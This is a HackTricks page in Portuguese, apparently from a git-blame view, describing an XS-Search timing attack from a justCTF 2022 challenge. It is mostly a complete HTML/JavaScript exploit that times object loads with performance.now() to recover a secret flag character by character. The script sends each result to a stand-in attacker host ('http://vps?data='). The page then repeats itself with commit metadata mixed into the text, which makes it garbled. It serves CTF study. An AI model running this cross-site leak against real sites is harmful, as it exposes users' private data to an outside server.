hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

# performance.now + Force heavy task

{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>
{% endhint %}

**Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**

Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.

{% hint style="warning" %}
Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
{% endhint %}
```html
<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
{% endhint %}
Recreating repository history for branch pt 2024-12-12 12:56:11 +00:00			`# performance.now + Force heavy task`

			`{% hint style="success" %}`
			`Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

			`<details>`

			`<summary>Support HackTricks</summary>`

			`* Confira os [planos de assinatura](https://github.com/sponsors/carlospolop)!`
			`* Junte-se ao 💬 [grupo do Discord](https://discord.gg/hRep4RUj7f) ou ao [grupo do telegram](https://t.me/peass) ou siga-nos no Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Compartilhe truques de hacking enviando PRs para o [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.`

			`</details>`
			`{% endhint %}`

			`Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)`

			`Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.`

			`{% hint style="warning" %}`
			`Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.`
			`{% endhint %}`
			```html
			`<!DOCTYPE html>`
			`<html>`
			`<head>`

			`</head>`
			`<body>`
			`<img src="https://deelay.me/30000/https://example.com">`
			`<script>`
			`fetch('https://deelay.me/30000/https://example.com')`

			`function send(data) {`
			`fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)`
			`}`

			`function leak(char, callback) {`
			`return new Promise(resolve => {`
			`let ss = 'just_random_string'`
			let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
			`let start = performance.now()`
			`let object = document.createElement('object');`
			`object.width = '2000px'`
			`object.height = '2000px'`
			`object.data = url;`
			`object.onload = () => {`
			`object.remove()`
			`let end = performance.now()`
			`resolve(end - start)`
			`}`
			`object.onerror = () => console.log('Error event triggered');`
			`document.body.appendChild(object);`
			`})`

			`}`

			`send('start')`

			`let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')`
			`let flag = 'justCTF{'`

			`async function main() {`
			`let found = 0`
			`let notFound = 0`
			`for(let i=0;i<3;i++) {`
			`await leak('..')`
			`}`
			`for(let i=0; i<3; i++) {`
			`found += await leak('justCTF')`
			`}`
			`for(let i=0; i<3; i++) {`
			`notFound += await leak('NOT_FOUND123')`
			`}`

			`found /= 3`
			`notFound /= 3`

			`send('found flag:'+found)`
			`send('not found flag:'+notFound)`

			`let threshold = found - ((found - notFound)/2)`
			`send('threshold:'+threshold)`

			`if (notFound > found) {`
			`return`
			`}`

			`// exploit`
			`while(true) {`
			`if (flag[flag.length - 1] === '}') {`
			`break`
			`}`
			`for(let char of charset) {`
			`let trying = flag + char`
			`let time = 0`
			`for(let i=0; i<3; i++) {`
			`time += await leak(trying)`
			`}`
			`time/=3`
			`send('char:'+trying+',time:'+time)`
			`if (time >= threshold) {`
			`flag += char`
			`send(flag)`
			`break`
			`}`
			`}`
			`}`
			`}`

			`main()`

			`</script>`
			`</body>`

			`</html>`
			```
			`{% hint style="success" %}`
			`Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

			`<details>`

Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-12-14 14:29:06 +00:00			`<summary>Support HackTricks</summary>`
Recreating repository history for branch pt 2024-12-12 12:56:11 +00:00
			`* Confira os [planos de assinatura](https://github.com/sponsors/carlospolop)!`
			`* Junte-se ao 💬 [grupo do Discord](https://discord.gg/hRep4RUj7f) ou ao [grupo do telegram](https://t.me/peass) ou siga-nos no Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-12-14 14:29:06 +00:00			`* Compartilhe truques de hacking enviando PRs para os repositórios do [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud).`
Recreating repository history for branch pt 2024-12-12 12:56:11 +00:00
			`</details>`
			`{% endhint %}`